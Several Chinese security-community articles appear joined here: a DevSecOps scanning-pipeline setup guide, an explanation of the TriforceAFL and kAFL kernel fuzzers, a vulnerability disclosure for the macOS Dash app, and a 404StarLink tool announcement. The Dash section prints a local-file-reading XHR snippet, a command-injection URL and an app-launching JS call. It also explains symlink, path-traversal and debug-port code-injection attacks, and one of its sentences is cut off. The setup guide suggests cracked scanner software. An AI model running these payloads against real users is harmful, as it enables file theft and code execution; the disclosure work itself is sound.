下载地址：<http://mirrors.jenkins.io/war-stable/>
除此之外还有一种方式，直接运行war包。war下载以后直接运行以下命令即可：
Java -jar jenkins.war --httpPort=8080 。
war包下载地址：<http://mirrors.jenkins-ci.org/war/>
(2) Sonar安装
通过sonar官网下载安装包。<https://www.sonarqube.org/>
下载完解压，然后进入bin目录可以看到以下内容，里面包含了各种环境下的安装程序。
配置数据库，在Conf目录下，sonar.properties文件，配置数据库信息。
运行判断是否安装成功。进入windows-x86-32.点击startSonar.运行
(3)Jenkins集成sonar
首先，需要在Jenkins中安装Sonar插件。进入Manage Jenkins>Plugin Manager，搜索sonar，然后选择SonarQube
Scanner插件。
安装完成以后选择Manage Jenkins>Configure system>SonarQube servers，配置sonar信息。
进入Manage Jenkins>Global Tool Configuration配置sonarscanner信息。
至此，已完整将sonar集成到Jenkins。
## 3.1.2 Sonar集成pclint
(1)pclint安装
下载完解压以后打开可以看到以下列表，进入Pc-lint9.0目录- pclint9setup.exe，运行程序，选择要安装的地址，然后其他一路默认即可。
安装完以后，自动进入pclint配置目录。具体配置升级请参考以下链接，按照步骤操作即可：<http://www.opdown.com/soft/69530.html。>
需要说明的是pclint配置其实就是配置std.lnt，里面主要配置系统函数库地址，要忽略的安全点等。提到函数库就必然会想到windows和linux。针对环境下开发的程序需要配置不同的地址。Windwos相对容易配置，linux相对麻烦点。
### 3.1.3 Sonar集成dependency-check
(1)dependency-check环境搭建
在OWASP官网下载dependency-check程序以及对应的sonar插件。Denpendency-check工具下载地址：<https://www.owasp.org/index.php/OWASP_Dependency_Check。>
(2) jenkins和sonar集成
集成还需要下载一个插件sonar-dependency-check-plugin。Dependecny负责扫描第三方jar包，而对应的sonar-dependency-check-plugin插件用来进行扫描结果展示。
Sonar插件下载地址：[https://github.com/dependency-check/dependency-check-sonar-plugin，将下载完的插件放入sonar的extensions->plugins目录。](https://github.com/dependency-check/dependency-check-sonar-plugin，将下载完的插件放入sonar的extensions->plugins目录。)
至此已经成功的完成了dependency-check的集成搭建工作。
### 3.1.4 Sonar集成findbugs
Findbugs是一个扫描java质量的工具，在使用之前需要先下载findbugs插件，然后放入sonar的extensions->plugins目录。
## 3.2 工具扫描
工具集成完毕，接下来就是扫描。扫描将按照以下几步介绍，
### 3.2.1 pclint扫描
(1).新建item
新建item-配置,并设置工作目录
(2).构建windows批处理命令
点击构建-execute windows batch
command，执行批处理命令。这里的目的是为了使用调用pclint工具进行项目源代码扫描。如果代码层次较多请参考PClint扫描指南。
Lint-nt -i"e:\pclint\lint" –u std.lnt env-vc10.lnt -v -width(0,0)
+xml(results) -"format=<issue file =\q%%f\q line = \q%%l\q number = \q%%n\q
desc = \q%%m\q/>" -"format_specific= " -hFs1 -e900 _.cpp >Pclint_report.xml
如果是写批处理文件，需要使用如下方式：
Lint-nt -i"e:\pclint\lint" –u std.lnt env-vc10.lnt -v -width(0,0^)
+xml(results^) -"format=<issue file =\q%%f\q line = \q%%l\q number = \q%%n\q
desc = \q%%m\q/>" -"format_specific= " -hFs1 -e900 _.cpp>Pclint_report.xml
(3).构建sonar扫描
配置analysis properties
sonar.projectKey=sectest //该参数获取参考2.1
sonar.projectName=sectest //该参数获取参考2.1
sonar.projectVersion=2.0
sonar.sources=.
sonar.language=c++
sonar.cxx.pclint.reportPath= Pclint_report.xml
(4).运行(build now)
3.2.2 dependency-check扫描
(1).新建item
创建新的项目。
图2 jenkins新建项目
(2).点击项目-进入配置页面：设置工作目录
(3).构建
在构建中选择dependency-check扫描，参数里面添加以下选项，如果没有设置系统将采用默认参数配置。
需要说明：这里面需要设置导出为xml，因为下一步sonar扫描是基于xml进行的。
(4).添加sonar扫描构建
在analysis properties中填写以下信息
sonar.projectKey=denpendencyy //sonar中创建的项目
sonar.projectName=denpendencyy //sonar中创建的项目
sonar.projectVersion=2.0
sonar.sources=.
sonar.dependencyCheck.reportPath=dependency-check-report.xml
Projectkey和projectname获取参考下图：当创建完项目以后，点击配置-项目找到自己创建的项目信息。
构建中填上属性信息：projectkey和projectName是在sonar中，其他的不变。如图7所示为sonar扫描的配置内容。
(5).build
点击build now运行项目，如图8所示。
运行完以后点击sonarqube，直接进入sonar看到扫描结果，如图9所示。
### 3.2.3 findbugs扫描
Findbus扫描很简单，这个不需要做过多介绍。下载sonar运行以后，其会给出使用介绍。
# 4.安全扫描阶段
安全扫描阶段对应就是图1中的验证阶段。安全扫描大致可以分为以下几个过程，源代码扫描，黑盒扫描，渗透测试等环节。源代码和黑盒扫描主要是借助工具进行自动扫描，当然在黑盒扫描的时候可能也会用到半自动扫描，所谓半自动就是被动扫描。被动扫描的好处就是可以抓取尽可能多的数据包，避免了主动扫描触及不到的地方。接下来，会详细介绍各个阶段涉及到的一些工具。
## 4.1 源代码动态扫描
源代码动态扫描目前国内比较好的是fortify。Fortify SCA是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎：数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态分析，分析的过程中与它特有的软件安全漏洞规则进行全面地匹配、查找，从而将源代码中存在的安全漏洞扫描出来，并给于整理报告。目前位置，fortify支持多种语言扫描，包括主流的java,C/C++等。
还有其它的一些源码安全扫描工具，比如CoBOT等。还有一些开源的PHP和java扫描工具，感兴趣的可以搜索了解一下。
## 4.2 黑盒扫描
黑盒扫描工具挺多的，这里按照产品类型介绍。通常产品类型可以化分为web，Android，PC。
针对web的有awvs，appscan，绿盟WVSS扫描器，默安的雳鉴等；
针对Android的有梆梆扫描，360app漏洞扫描等其他工具，同时还有一个开源的android安全扫描工具MOBSF，该工具是基于Django开发的web扫描工具，功能还是很强大的。
针对PC，目前貌似没有听说有专门漏洞扫描工具，但是可以做一个PC漏洞检测集成平台，将各种单一扫描工具集成到统一平台从而搭建自动扫描工具。PC端有时候会面临病毒的威胁，比如程序会被杀毒软件直接杀死。针对该问题由于单个公司是不可能分析维护庞大的病毒库的，因此该工作可以依赖第三方安全公司来做。
Web扫描工具大部分是收费的，但是有部分是可以使用破解版的，具体请自行下载使用。除此之外，还有各种扫描敏感文件，端口漏洞，常见系统漏洞的扫描器，这些也是可以结合起来使用。这种扫描器在Github上能找到，因此这里也就不再详细介绍，感兴趣的可以去搜索以下。
## 4.3 渗透测试
渗透测试阶段，这个应该做的比较多，大家也都比较熟悉。这个阶段主要是渗透人员，对各个功能进行测试，找到安全问题并记录。同时想说的是，这个阶段测试是肯定需要手动完成的，但是问题的记录和后续跟踪需要平台支撑，这样即方便记录同时也方便后续的查看追踪，数据统计等工作。
渗透测试阶段主要检测以下问题，这里就不再一一列举，直接使用其他人分享的图片作为展示。
# 5.后监控阶段
产品上线以后，还需要不断跟进。因为当前众多产品都是基于开源组件或者是公司通用组件，这些开源组件或者通用组件的安全问题可能是不断更新的，因此有必要及时监控，预警，跟进。这个阶段需要有一个平台能及时追踪最新预警信息，同时要能根据预警信息快速定位相关产品，通知相关产品负责人及时升级修复问题。同时要有负责人反馈机制，以便后续的责任定位。
除此之外，还要及时监控敏感信息泄露的问题。Github是一个开发者广泛使用的平台，众多人员可能不经意间将公司敏感数据上传，因此有必要使用工具及时监控Github。这样的工具也很多，有收费的有不收费的。公司安全团队可以自行评估选择哪种方式，当然有条件的可以自己研发监控工具。
# 6 总结
安全需要将上述的多个环节打通，同时能自动化运行的要尽量自动化，减少人为的参与。能集成到一个平台尽量集成到一个平台方便管理。整个环节环环相扣，又不断补充，相信这样会对整个公司的安全产生重要影响。
最后，上述提到的内容可能不全，有些可能在实际工作中还需要继续视情况具体修复补充。当然也可能写的有不对的地方，欢迎大神指教。 | 社区文章 |
这是内核漏洞挖掘技术系列的第十一篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
第八篇：[内核漏洞挖掘技术系列(4)——syzkaller(4)](https://xz.aliyun.com/t/5223
"内核漏洞挖掘技术系列\(4\)——syzkaller\(4\)")
第九篇：[内核漏洞挖掘技术系列(4)——syzkaller(5)](https://xz.aliyun.com/t/5401
"内核漏洞挖掘技术系列\(4\)——syzkaller\(5\)")
第十篇：[内核漏洞挖掘技术系列(5)——KernelFuzzer](https://xz.aliyun.com/t/5443
"内核漏洞挖掘技术系列\(5\)——KernelFuzzer")
## 前言
AFL(<http://lcamtuf.coredump.cx/afl/>)和对应的windows上的winAFL(<https://github.com/googleprojectzero/winafl>)可以说是用户态程序二进制漏洞挖掘无人不知的神器，关于它们的分析解读在网上也到处都是。很自然有人就做出了AFL用于内核fuzz的尝试。这篇文章介绍两个相关的工具。第一个是nccgroup的TriforceAFL(<https://github.com/nccgroup/TriforceAFL>)，它对AFL和QEMU进行了patch，TriforceLinuxSyscallFuzzer(<https://github.com/nccgroup/TriforceLinuxSyscallFuzzer>)可以使用TriforceAFL对内核fuzz。第二个是德国波鸿鲁尔大学的KAFL[(https://github.com/RUB-SysSec](\(https://github.com/RUB-SysSec "\(https://github.com/RUB-SysSec"))。我们先讲解AFL中的qemu
mode，然后详细研究TriforceAFL和TriforceLinuxSyscallFuzzer的实现，最后简单介绍KAFL。
## AFL中的qemu mode
关于AFL的实现已经有许多分析，这里仅仅介绍AFL中的qemu mode。QEMU能够：
1. 将一个架构(被模拟的架构)的BB(basic blocks，基本块)翻译到另一个架构(QEMU正在之上运行的架构)
2. 将TB(translated blocks，翻译块)存储在TBC(translated block cache，翻译块缓存)中，一次翻译并多次使用
3. 在基本块中添加prologue和epilogue，以处理基本块之间的跳转、恢复控制等操作
让我们看一下抽象的QEMU执行流程：
1. 启动预生成的代码prologue，初始化进程并跳转到二进制文件的_start
2. 查找缓存中包含_start PC(program counter，程序计数器)的已翻译块，如果没有生成翻译并缓存它
3. 跳转到已翻译的块并执行它
AFL使用fork server模型来fuzz程序。运行目标的QEMU实例将用作一个fork server，它将通过fds
198(控制队列)和199(状态队列)与fuzzer进程通信。这个fork
server实例的克隆用于运行测试用例。目标的执行跟踪可以通过共享内存(shm)到达fuzzer进程。
cpu_tb_exec函数负责执行TB，并且可以在其中获得诸如PC地址之类的信息。当指令指针定位于_start并执行通常的fork
server操作时执行下面的代码片段。
afl_setup函数设置子进程中存储跟踪数据数组的共享内存。
afl_forkserver函数负责创建fork server并监听fd以启动克隆。
afl_maybe_log函数第一次调用setup并为每次执行TB更新共享跟踪内存。
tb_find函数负责查找TB，它会在需要翻译时调用tb_gen_code函数。在这里添加afl_request_tsl函数来通知fork
server翻译这个块并将其保存在内存中，以便将来克隆。
父进程此时正在afl_forkserver函数调用的afl_wait_tsl函数里等待，最终afl_wait_tsl函数会调用tb_gen_code函数来在父进程的缓存中翻译一个块。这样未来的子进程就可以使用这个缓存了，避免每个块翻译多次。
syscall.patch在fork server发生SIGABRT的时候传递正确的pid和tgid。
elfload.patch用于记录afl_entry_point，afl_start_code和afl_end_code。它们在afl_maybe_log函数中用于某些边界检查。
## TriforceAFL
### TriforceAFL中的qemu mode
通常当使用AFL
fuzz时，每个测试用例都会启动一个驱动程序并运行直到完成或崩溃。当对操作系统进行fuzz时，这并不总是可能的。TriforceAFL允许操作系统启动并加载一个驱动程序，该驱动程序控制fuzz的生命周期以及托管测试用例。
使用TriforceAFL对内核fuzz将执行以下步骤：启动操作系统，操作系统将调用fuzz驱动程序作为其启动过程的一部分。驱动程序将：启动AFL fork
server；获取一个测试用例；启用解析器的跟踪；解析测试用例；启用内核或内核的某些部分的跟踪；基于已解析的输入进行系统调用；通知测试用例已经成功完成(如果测试用例没有因为panic而提前终止)。在为每个测试用例重复启动fork
server之后，afl-fuzz程序将安排所有这些步骤。下面就来看看具体实现。
由于fuzzer在虚拟机的fork副本中运行，因此每个测试用例的内核的内存状态都是隔离的。如果操作系统使用除内存之外的任何其它资源，这些资源将不会在测试用例之间隔离。因此，通常希望使用内存文件系统(如Linux
ramdisk映像)引导操作系统。
将一个称为aflCall的特殊的指令添加到CPU，在QEMU的disas_insn函数中实现了指令的翻译，具体实现是在该函数中增加了一个处理该指令的case。
它支持startForkserver/getWork/startWork/doneWork这几个操作。
startForkserver：这个调用导致虚拟机启动AFL fork
server。在这个调用之后，虚拟机中的每一个操作都将在虚拟机fork的副本中运行，该副本只持续到测试用例结束。
getWork：这个调用导致虚拟机从host中的文件读取下一个输入，并将其内容复制到guest的缓冲区中。
startWork：此调用允许跟踪AFL的edge
map。只对startWork调用中指定的虚拟地址范围执行跟踪。此调用可以多次执行，以调整跟踪指令的范围。可以选择在驱动程序解析输入文件时跟踪它本身，然后在基于输入文件执行系统调用时跟踪内核。AFL的搜索算法只知道被跟踪的edge，这个调用提供了一种方法来调整要跟踪的部分。
doneWork：这个调用通知虚拟机测试用例已经完成。它允许驱动程序传递退出代码。虚拟机的fork副本将使用指定的退出代码退出，该代码由fork
server与AFL通信，并用于确定测试用例的结果。
增加的处理提供的命令行参数的部分，可以看到传入了getWork读取的host中的文件的名称，panic函数地址和log_store函数地址。
在gen_intermediate_code_internal函数中增加了gen_aflBBlock函数。
当是panic函数时以exit(32)结束。
当是log_store函数时记录日志。
QEMU以TB为单位进行翻译并执行。这也就是说每当在code
cache执行完一个TB之后，控制权必须交还给QEMU。这很没有效率。所以只要TB执行完之后，它的跳跃目标确定且该跳跃目标也已经在code
cache里，那我们就把这两个TB串接起来。这个就叫做block
chaining。有时QEMU开始执行一个基本块，然后被中断。然后，它可能会从一开始就重新执行该块，或者转换尚未执行的块的一部分并执行它。这将导致edge
map中出现一些额外的edge。所以首先禁用QEMU的chaining特性。
将AFL的跟踪特性从cpu_exec函数移动到cpu_tb_exec函数，以便仅在基本块执行到完成时才跟踪它(AFL的新版本也移动到cpu_tb_exec函数了)。
前面我们说过AFL的qemu
mode能够避免每个块被翻译多次，当模拟只有一个地址空间的用户模式程序时这个特性可以很好地工作，但是对于在不同地址空间中有许多程序的完整系统就不太合适了。目前只对内核地址使用这个特性(/TriforceAFL/docs/triforce_internals.txt中说目前没有使用这个功能，是在驱动程序运行之前运行一个heater程序实现的，后面在TriforceLinuxSyscallFuzzer中会提)。
在QEMU的内存分配函数ram_block_add中patch掉了设置QEMU_MADV_DONTFORK标志的代码以便子进程使用TB。
QEMU在模拟操作系统时使用多个线程。在大多数UNIX系统中fork一个多线程程序时，子进程中只保留调用fork的线程。fork也不保存重要的线程状态，并可能使互斥锁、信号量等等处于未定义的状态。为了解决这个问题，我们并不立即启动fork
server，而是设置了一个标志来告诉CPU停止。当CPU看到这个标志设置时退出CPU循环，向IO线程发送通知，记录一些CPU状态，然后退出CPU线程。IO线程接收它的通知并执行一个fork。此时只有两个线程——CPU线程和内部RCU线程。RCU线程已经被设计用于正确处理fork，不需要停止。在子进程中，CPU将使用之前记录的信息重新启动，并可以从停止的地方继续执行。
此外还新增了一个qemu_mode/qemu/block/privmem.c文件，这是一个存储驱动程序，模拟普通IDE磁盘并支持写时拷贝。
### TriforceAFL对AFL的修改
TriforceAFL对AFL的修改不多，主要有下面几点：增加了默认内存限制。操作系统在调用fork
server之前可能需要几分钟启动，所以增加了AFL等待fork
server的时间。因为虚拟机使用退出代码显示panic和其它不希望出现的行为，所以将所有非零退出状态视为崩溃。一些标准的AFL实用程序不支持fork
server特性。当测试程序可以在几分之一秒内执行时，这通常是可以接受的。然而，测试用例只能在漫长的操作系统启动过程之后启动，而测试用例本身只是整个执行过程的一部分。为了正确地运行测试用例需要实用程序支持fork
server特性。
### TriforceLinuxSyscallFuzzer
TriforceLinuxSyscallFuzzer的整体目录如下。
* crash_reports：发现的一些crash
* docs：文档
* rootTemplate&makeRoot：makeRoot根据rootTemplate中的文件为根文件系统生成ramdisk镜像。把driver复制进去，并安排init来执行它
* aflCall.c：发起hypercall，调用startForkserver/getWork/startWork/doneWork
* argfd.c：创建并返回系统调用参数使用的文件描述符
* driver.c：驱动程序负责接收来自AFL的输入，将它们解析为许多系统调用记录，然后执行每个系统调用。驱动程序首先fork出一个子进程，让子进程执行主要的工作，然后等待子进程死亡。
接下来子进程启动AFL fork
server，此后的所有操作都在模拟器fork出的副本中进行。然后它调用getWork从AFL获得一些输入数据。然后调用startWork在解析输入数据时开始跟踪驱动程序。然后再次调用startWork来停止跟踪驱动程序并开始跟踪内核。最后，它在调用doneWork之前执行已解析的系统调用，以通知AFL测试用例已经完成。
从AFL运行时，startForkserver和doneWork调用之间的所有内容都将在虚拟机的fork副本中执行。这个过程将对每个输入文件重复一次。如果驱动程序在到达doneWork调用之前发生crash，则主进程将捕捉到它，并代表crash的子进程调用doneWork
* gen.py\gen2.py\gen2-shapes.txt：生成驱动程序使用的格式的系统调用输入文件
* getSyms：使用runCmd执行cat /proc/kallsyms然后将输出提取到kallsyms文件
* getvmlinux：从bzImage中提取vmlinux文件
* heater.c：之前已经提到了heater，它会调用稍后测试的系统调用
* parse.c：一些解析函数
* runCmd：启动内核并运行命令。如果没有参数它将执行一个shell，否则它将运行指定的
命令，命令应该存在于rootTemplate\bin中
* runFuzz：启动fuzz
* runTest&testAfl.c：需要复现crash时使用
* sysc.c：生成系统调用参数并发起系统调用
## KAFL
我们再来看看KAFL。下图所示是KAFL的整体架构。
KAFL整体分为三个部分：fuzz逻辑，VM(对QEMU和KVM的patch)和用户态agent。fuzz逻辑在host上作为一个用户态进程运行，主要就是借鉴AFL的逻辑。VM由一个用户态组件(QEMU-PT)和一个内核态组件(KVM-QT)组成。guest通过hypercall与host通信。host可以读写guest内存，并在处理请求后继续VM执行。
大体上和TriforceAFL还是有一些相似之处的，一个主要的不同之处在于KVM-PT和QEMU-PT还分别实现了Intel
PT数据的收集和解码用于fuzz逻辑，论文中经过对比性能优于TriforceAFL。
## 总结
总的来说这两个工具有一定创新，但是实际发现的漏洞都不太多，并且后续也处于没有继续维护的状态。对于一般的内核漏洞挖掘目前应该还是syzkaller各方面更好一点。
## 参考资料
1.[Internals of AFL fuzzer - QEMU
Instrumentation](https://tunnelshade.in/blog/2018/02/afl-internals-qemu-instrumentation/ "Internals of AFL fuzzer - QEMU Instrumentation") | 社区文章 |
**作者：0xcc
原文链接：<https://mp.weixin.qq.com/s/vfPxiLqOVZWhFde_2fKf1Q>**
Dash App 是 macOS 上一款非常流行的查看离线 API 文档的应用，由个人开发者@kapeli 发布。支持离线文档查询和多种 IDE
的集成，对软件开发者是一款极为实用的生产力工具。在相当多数的 macOS 使用攻略上都能看到这款软件的推荐。
而在 2018 年我向 Dash 的开发者报告了一些安全问题，并将其设计为第一届 RealWorld CTF 预选赛的题目。出人意料的是，来自各国的 CTF
选手在很短时间内找到了更为严重的远程代码执行漏洞。在赛后和开发者邮件沟通后，Dash 很快推出了补丁之后的版本。
在 2019 年 12 月 3 日的 Dash 5 更新（<https://blog.kapeli.com/dash-5>）之前，Dash 一直用的是旧的
WebView API。后来因为 WebView 被标记为过时，升级到了 WKWebView 控件。
而下面提到的安全问题，无一不与 WebView 遗留 API 的设计有关。
## **本地任意文件读取**
Dash 在展示文档内容的时候主要使用 HTML 格式。在 mac 上，许多程序使用 bundle（包）来组织可执行代码和文件内容。Dash 的
bundle 后缀名为*.docset，包含如下内容：
* Contents/Resources/Documents/ HTML 文档和资源
* Info.plist 包的元数据（meta data），如标识符等
* Contents/Resources/docSet.dsidx 基于 SQLite 数据库的索引，用以加快词条检索
Dash 从网上下载 docset 之后，将保存在本地。因此 WebView 当中实际出现的 URL 就是 file:/// 域下的。
WebView（对应 iOS 上的 UIWebView）载入 file 域会直接导致 UXSS。WebView 默认允许了
allowFileAccessFromFileURLs 和 allowUniversalAccessFromFileURLs，所以通过 AJAX
可以以绝对路径读取任意本地文件的内容，并发送到远程服务器。
xhr = new XMLHttpRequest();
xhr.onopen = function() {
alert(xhr.responseText);
}
xhr.open('GET', 'file:///etc/passwd', true);
xhr.send();
不过在 2018 年初的 Dash 版本这招不起作用。在 WebView（和 UIWebView）中可以通过实现 NSURLProtocol
的子类来拦截特定 URL scheme 的网络请求，实现自定义的资源加载逻辑。这个类对于有 iOS 应用开发的读者来说不会陌生。
Dash 当时主要用 NSURLProtocol 实现了两种场景：
1. 处理本地 HTML 引用的 javascript 和图片等资源，修复相对路径加载的问题
2. 用来实现特殊页面的跳转，例如后面会提到的 dash-man-page://，在网页尝试加载此类自定义 URL 的时候触发一些设计好的功能
当时的 Dash 就意识到了 file:// 域文件可以任意读取的问题，便限制了只能访问 docset 包内的路径。
不过我找了一个简单的绕过。docset 本质上是一个文件夹，因此从网上下载的都是压缩好的 tar.gz
格式——而压缩包支持符号链接。因此只需要创建一个根目录 “/” 的符号链接，即可重操旧业——偷文件。
因此攻击场景就是，在存在漏洞的 Dash 上下载导入了一个恶意的 docset，浏览这个文档可能导致计算机上任意文件（如 SSH 私钥）被窃取。
## **远程任意文件读取**
Dash 在阅读文档时还有一个分享功能，会随机选择一个端口开启 HTTP
服务，网址类似：<http://127.0.0.1:60815/Dash/hpzzlcsf/nodejs/api/os.html>
前文提到的符号链接问题在这里同样奏效，不过这个服务是基于 GCDWebServer 实现的，所以还有一个更显而易见的路径穿越漏洞。在请求的路径中使用
..%2F 可以被解码为 ../ 字符，从而远程读取任意路径文件。
这种攻击不需要特殊的 docset 包，只要局域网内扫描到这个服务器端口即可。
## **访问本地 electron 调试端口**
前面提到的 UIWebView UXSS 问题除了能读文件之外，还有一个不起眼但是危害不可小觑的任意 http
请求问题。不过这个问题需要有其他软件的协同，这也是 RealWorldCTF 最开始的出题思路。
近年来 VSCode 为代表的编辑器基于 node.js 和 Electron（或 CEF）技术，使用 HTML
开发界面，极大方便了扩展的生态和功能的迭代。虽然运行资源吃得不少，但是带来的体验还是让许多用户大呼真香。
在 VSCode 的历史版本（1.19.0~1.19.2）当中存在一个远程代码执行漏洞。这一系列版本的 VSCode 错误地在生产环境打开了
Electron 的远程调试端口，任何能发起跨域 http 请求的网页，都可以通过访问如下 URL 获得一个
token：<http://127.0.0.1:9333/json/list>
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9333/c5408ce2-6f06-4a7e-a950-395d95c6804f",
"faviconUrl": "<https://nodejs.org/static/favicon.ico>",
"id": "c5408ce2-6f06-4a7e-a950-395d95c6804f",
"title": "/private/var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/AppTranslocation/EE69BB42-2A16-45F3-BB98-F6639CB594B1/d/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper",
"type": "node",
"url": "file://",
"webSocketDebuggerUrl": "ws://127.0.0.1:9333/c5408ce2-6f06-4a7e-a950-395d95c6804f"
} ]
其中的 webSocketDebuggerUrl 可以直接建立一个 WebSocket 连接，接着使用 Chrome 远程调试协议（基于 JSON 和
WebSocket）即可向 node.js 解释其注入任意 js 代码，从而控制用户的计算机。
在受影响的版本当中，这个 9333 端口存在一个 DNS rebinding 问题，可以通过短时间内切换 DNS 解析的结果来绕过浏览器同源策略获得
localhost 的内容，接着 WebSocket 默认不限制跨域访问，导致任何浏览器只要访问了攻击者的网站停留大约两分钟即可被入侵。
VSCode 的修复方案是增加了针对 dns rebinding
的校验，并在后续版本中随机化调试端口。在写这篇文章的时候，所有的调试端口已经不再开启。类似地，另一款来自 Adobe 的编辑器 Brackets 也采用了
CEF 和 HTML 的方案。
虽然两个编辑器都修复了 DNS rebinding 问题，导致这个端口的响应内容无法跨域获取，不过回到 Dash 的 WebView
上，我们前面已经说了这个 UXSS 是没有同源策略限制的。
假如让 Dash 和（存在漏洞的）Brackets 或者 VSCode 同时运行，在 Dash 当中打开的恶意文档，就可以直接通过向调试端口发起请求注入
js 代码的方式执行任意本地代码。
217 战队使用预期解法在 RealWorldCTF 解出了这个题目：
<https://blog.l4ys.tw/2018/07/realworld-ctf-2018-doc2own/>
## **多个命令注入和命令执行**
然而在比赛期间我们收到了非预期的 0day 解法。为了让用户有时间升级，这些 writeup 从未公开过。
PPP 战队和 CyKOR 使用了同一个命令注入问题。
我们前文提到，Dash 通过 NSURLProtocol 处理一些预定义的 URL 请求，其中有一个 dash-man-page://，会打开一个终端窗口并运行 man 命令。
”结尾，并包含一对完整的括号时，Dash
会从网址中提取字符串并拼接到 bash 命令。因此可以直接命令注入：
dash-man-page://load?query=`open -a Calculator`(1)
此外如果 docset 当中存在一个名为 cat2html 的 shell 脚本，也会执行。
Eat, Sleep, Pwn, Repeat 使用了另一个（不够完美）的命令执行问题。
在 WebView（UIWebView）里提供了一个 Api，可以直接在网页的 JavaScriptCore 运行时（参考 JSContext
类）当中提供额外的函数和对象：
* <https://developer.apple.com/documentation/objectivec/nsobject/webscripting?language=objc>
* <https://developer.apple.com/library/archive/documentation/AppleApplications/Conceptual/SafariJSProgTopics/ObjCFromJavaScript.html>
之前的 Dash 应用在 js 里注入了一个 window.dash 对象，可以访问 DHWebViewController 上的方法。
通过 JSContext 注入的 Objective-C 方法有命名转换规则。如果对象定义了 webScriptNameForSelector:
方法，则优先使用该方法中自定义的名字；默认情况下，方法名（Objective-C selector）当中的冒号会转义为下划线（_），而下划线则使用
替换为连续两个美元符号。
例如 Objective-C 当中的方法是 setFlag:，在 js 里调用时写作 obj.setFlag_(flag)。
另外对象可以定义一个 isSelectorExcludedFromWebScript: 方法来控制 js 能使用的 selector
列表，相当于一个白名单。在 Dash 里这个方法实现如下：
char __cdecl +[DHWebViewController isSelectorExcludedFromWebScript:](id a1, SEL a2, SEL a3)
{
return "coffeeScriptOpenLink:" != a3
&& "showFallbackExplanation" != a3
&& "openDownloads" != a3
&& "openGuide" != a3
&& "jsGoToURL:" != a3
&& "openDocsets" != a3
&& "openProfiles" != a3
&& "openGift" != a3
&& "loadFallbackURL:" != a3
&& "setUpTOC" != a3
&& "version" != a3
&& "unityConsoleLog:" != a3
&& "msdnMakeActive:" != a3
&& "openExternal:" != a3
&& "switchAppleLanguage:" != a3
&& "toggleAppleOverview:" != a3
&& "openIOSLink" != a3
&& "openPawLink" != a3
&& "closeAnnounce" != a3
&& "useSnippet" != a3;
}
其中的 openExternal: 方法从 js 接收一个字符串参数，转为 URL 之后直接用系统默认的关联协议打开：
当我们传入一个可执行文件的 bundle 的 file:/// URL 时，相当于在 Finder 里双击执行 app，也就是一个代码执行向量。ESPR
就在 docset 里嵌入了一个可执行的 .app，然后通过 js 运行：
var url = location.href.toString()
.replace('some.html', 'some.app') // file:///path/to/.app
window.dash.openExternal_(url)
这个方式有一个局限性。如果 docset 是从网上下载回来的，解压之后的文件会被标记 com.apple.quarantine 属性。双击运行其中的 app
会触发 GateKeeper，有可信的数字签名会提示用户是否继续运行，签名无效则会提示文件已损坏。
因为比赛的运维系统使用了其他上传方式，就没有受到 GateKeeper 影响。
在赛后我很快联系了作者，并找到了更多的攻击向量：
* 处理文档打印存在一处命令注入
* 处理苹果的文档时，如果 bundle 内存在 Apple Docs Helper/Apple Docs Helper 可执行文件，会尝试运行
作者修复了命令注入，并在运行可执行文件前检查代码的数字签名，也检查了线上仓库的文档以确保此前没有被恶意上传过。
## **结语**
针对开发者直接投毒的攻击近几年时有发生，类似 Dash 这样流行的生产力工具也不失为一个可能的方式。通过举办一场 CTF
的方式竟然在极短时间内找到了存在实际危害的数个 0day 漏洞，确实硬核。
这篇文章里提到的一些具体案例和 WebView 这个遗留 API 的设计存在很大关系，苹果在 iOS 12（2018 年最新的系统是 10）之后明确标记
UIWebView 为过时 API，还在应用商店审核规则中加强限制对老旧 API
的使用，也是为了提升安全性和性能。对开发者来说升级控件并不是一个简单的查找替换过程，不过为了用户考虑，还是得做一些牺牲。
* * * | 社区文章 |
2020年8月，我们发起了名为“星链”的开源计划，旨在通过开源或者开放的方式，长期维护并推进涉及安全研究各个领域不同环节的工具化。
截至目前，星链计划已经发布了5期，其中涉及到的工具项目包括信息收集、漏洞探测、攻击与利用、信息分析、后渗透、内网工具等各个方面。
星链计划项目地址: \- <https://github.com/knownsec/404StarLink-Project>
其中已经有3个首发在星链计划的项目已经突破700star，星链计划本身也获得了500+star的关注度。
ID | 项目名 | 项目链接 | Star
---|---|---|---
1 | pocsuite3 | https://github.com/knownsec/pocsuite3 | 1523
2 | ksubdomain | https://github.com/knownsec/ksubdomain | 896
3 | Kunlun-M | https://github.com/LoRexxar/Kunlun-M | 825
4 | shellcodeloader | https://github.com/knownsec/shellcodeloader | 779
5 | wam | https://github.com/knownsec/wam | 214
6 | ZoomEye-python | https://github.com/knownsec/ZoomEye-python | 132
7 | Portforward | https://github.com/knownsec/Portforward | 30
8 | Zoomeye-Tools | https://github.com/knownsec/Zoomeye-Tools | 24
9 | Minitools-bin_extractor | https://github.com/knownsec/Minitools-bin_extractor | 21
10 | LBot | https://github.com/knownsec/LBot | 12
在2020年的11月，在星链计划的基础上，我们推出了代号为"Galaxy"的星链计划2.0。
